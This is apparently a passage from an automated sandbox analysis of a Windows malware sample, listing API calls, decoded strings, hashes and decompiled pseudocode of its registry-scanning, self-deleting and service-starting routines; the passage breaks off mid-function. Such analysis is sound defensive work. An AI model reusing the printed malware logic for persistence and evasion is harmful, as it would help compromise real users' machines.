GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32(00000000,00000000,0040405E,00000000,00000000,00000000), ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32(00000000,00000000,0040877E,00000000,00000000,00000000), ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

", xrefs: 0040A078
P, xrefs: 00409DAA
", xrefs: 0040A189
D, xrefs: 00409F8E
\, xrefs: 00409D0C
%X%08X, xrefs: 0040A0B0
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
", xrefs: 00409EDB

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00419C89, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 00419CA7

Part of subcall function 0041B2B0: __vsprintf_l.LIBCMTD ref: 0041B2C3

_putc.LIBCMTD ref: 00419CAE

Part of subcall function 0041AEE0: __invalid_parameter.LIBCMTD ref: 0041AF6D

__wrename.LIBCMTD ref: 00419CB5

Part of subcall function 0041AE90: __dosmaperr.LIBCMTD ref: 0041AEC4

_atexit.LIBCMTD ref: 00419CBB

Part of subcall function 0041AC20: __atof_l.LIBCMTD ref: 0041AC2B

_malloc.LIBCMTD ref: 00419CCD
_realloc.LIBCMTD ref: 00419CD4

Part of subcall function 0041A970: __realloc_dbg.LIBCMTD ref: 0041A984

_ferror.LIBCMTD ref: 00419CDA

Part of subcall function 0041A8F0: __invalid_parameter.LIBCMTD ref: 0041A94A

Part of subcall function 0041A8D0: __wcstoi64.LIBCMTD ref: 0041A8DD

_memset.LIBCMT ref: 0041A10C

Strings

cbH, xrefs: 00419FC3

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: 6278bb417c886440e8dae07e7d260b7473300d0059a4f26fac31f9afb3bb8d46
Instruction ID: 20eea1e13cb308309a103fd37b26c04a1dac22a8482f31a92c30bc31f0081cb0
Opcode Fuzzy Hash: 6278bb417c886440e8dae07e7d260b7473300d0059a4f26fac31f9afb3bb8d46
Instruction Fuzzy Hash: 4BF1FD76502565BBC315ABA1EE4CDDF3E6CEF4A351B004426F24AE5070CB385686CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,73B743E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,73B743E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,73B743E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,73B743E0,?,73B743E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(73B743E0,00000000,?,00000020,00000000,00000000,00000000,0000012C), ref: 0040719E
RegCloseKey.KERNELBASE(73B743E0,?,73B743E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(73B743E0), ref: 00407208
RegCloseKey.ADVAPI32(73B743E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(73B743E0), ref: 004072D0
RegCloseKey.ADVAPI32(73B743E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(73B743E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

, xrefs: 00407194
", xrefs: 00407227
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
